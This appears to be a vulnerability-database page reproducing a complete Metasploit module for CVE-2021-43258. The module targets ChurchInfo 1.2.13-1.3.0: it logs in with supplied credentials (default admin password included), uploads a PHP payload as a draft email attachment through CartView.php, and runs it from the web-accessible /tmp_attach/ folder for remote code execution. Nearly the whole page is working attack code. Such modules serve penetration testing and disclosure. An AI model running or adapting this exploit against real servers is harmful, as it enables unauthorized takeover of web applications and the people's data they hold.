Lucene search
K

ChurchInfo 1.2.13-1.3.0 Remote Code Execution

🗓️ 21 Nov 2022 00:00:00Reported by m4lwhere, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 277 Views

ChurchInfo 1.2.13-1.3.0 Authenticated RCE - Logic in CartView.php allows arbitrary code execution by uploading PHP attachment for draft email

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit
21 Nov 202200:00
zdt
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Churchdb Churchinfo
26 Nov 202209:00
githubexploit
Circl
CVE-2021-43258
19 Nov 202201:52
circl
CNNVD
ChurchInfo 代码问题漏洞
21 Nov 202200:00
cnnvd
CNVD
ChurchInfo Arbitrary File Upload Vulnerability
23 Nov 202200:00
cnvd
CVE
CVE-2021-43258
23 Nov 202200:00
cve
Cvelist
CVE-2021-43258
23 Nov 202200:00
cvelist
Metasploit
ChurchInfo 1.2.13-1.3.0 Authenticated RCE
19 Nov 202219:50
metasploit
NVD
CVE-2021-43258
23 Nov 202219:15
nvd
OSV
CVE-2021-43258
23 Nov 202219:15
osv
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',  
'Description' => %q{  
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.  
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the  
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and  
then browsing to the location of the uploaded PHP file on the web server, arbitrary code  
execution as the web daemon user (e.g. www-data) can be achieved.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'm4lwhere <[email protected]>' ],  
'References' => [  
['URL', 'http://www.churchdb.org/'],  
['URL', 'http://sourceforge.net/projects/churchinfo/'],  
['CVE', '2021-43258']  
],  
'Platform' => 'php',  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic Targeting', { 'auto' => true }]],  
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => ['CRASH_SAFE'],  
'Reliability' => ['REPEATABLE_SESSION'],  
'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']  
}  
)  
)  
# Set the email subject and message if interested  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),  
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),  
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),  
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])  
]  
)  
end  
  
def check  
if datastore['SSL'] == true  
proto_var = 'https'  
else  
proto_var = 'http'  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'GET',  
'vars_get' => {  
'Proto' => proto_var,  
'Path' => target_uri.path  
}  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to a request to its login page!')  
end  
  
# Check if page title is the one that ChurchInfo uses for its login page.  
if res.body.match(%r{<title>ChurchInfo: Login</title>})  
print_good('Target is ChurchInfo!')  
else  
return CheckCode::Safe('Target is not running ChurchInfo!')  
end  
  
# Check what version the target is running using the upgrade pages.  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')  
else  
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')  
end  
end  
  
#  
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.  
# Adding items to the cart is required for the server-side code to accept the upload.  
#  
def exploit  
# Need to grab the PHP session cookie value first to pass to application  
vprint_status('Gathering PHP session cookie')  
if datastore['SSL'] == true  
vprint_status('SSL is true, changing protocol to HTTPS')  
proto_var = 'https'  
else  
vprint_status('SSL is false, leaving protocol as HTTP')  
proto_var = 'http'  
end  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'GET',  
'vars_get' => {  
'Proto' => proto_var,  
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']  
},  
'keep_cookies' => true  
)  
  
# Ensure we get a 200 from the application login page  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")  
end  
  
# Check that we actually are targeting a ChurchInfo server.  
unless res.body.match(%r{<title>ChurchInfo: Login</title>})  
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')  
end  
  
# Grab our assigned session cookie  
cookie = res.get_cookies  
vprint_good("PHP session cookie is #{cookie}")  
vprint_status('Attempting login')  
  
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'POST',  
'vars_post' => {  
'User' => datastore['USERNAME'],  
'Password' => datastore['PASSWORD'],  
'sURLPath' => datastore['TARGETURI']  
}  
)  
  
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.  
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'  
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")  
end  
vprint_good("Location header is #{res.headers['Location']}")  
print_good("Logged into application as #{datastore['USERNAME']}")  
vprint_status('Attempting exploit')  
  
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.  
print_status('Navigating to add items to cart')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),  
'method' => 'GET',  
'vars_get' => {  
'mode' => 'person',  
'AddAllToCart' => 'Add+to+Cart'  
}  
)  
  
# Need to check that items were successfully added to the cart  
# Here we're looking through html for the version string, similar to:  
# Items in Cart: 2  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")  
end  
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)  
unless cart_items  
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")  
end  
if cart_items['cart'].to_i < 1  
print_error('No items in cart detected')  
fail_with(Failure::UnexpectedReply,  
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')  
end  
print_good("Items in Cart: #{cart_items}")  
  
# Uploading exploit as temporary email attachment  
print_good('Uploading exploit via temp email attachment')  
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'  
vprint_status("Payload name is #{payload_name}")  
  
# Create the POST payload with required parameters to be parsed by the server  
post_data = Rex::MIME::Message.new  
post_data.add_part(payload.encoded, 'application/octet-stream', nil,  
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")  
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')  
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')  
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')  
file = post_data.to_s  
file.strip!  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'CartView.php'),  
'method' => 'POST',  
'data' => file,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
# Ensure that we get a 200 and the intended payload was  
# successfully uploaded and attached to the draft email.  
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")  
fail_with(Failure::Unknown, 'Failed to upload the payload.')  
end  
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")  
  
# Have our payload deleted after we exploit  
register_file_for_cleanup(payload_name)  
  
# Make a GET request to the PHP file that was uploaded to execute it on the target server.  
print_good('Executing payload with GET request')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),  
'method' => 'GET'  
)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation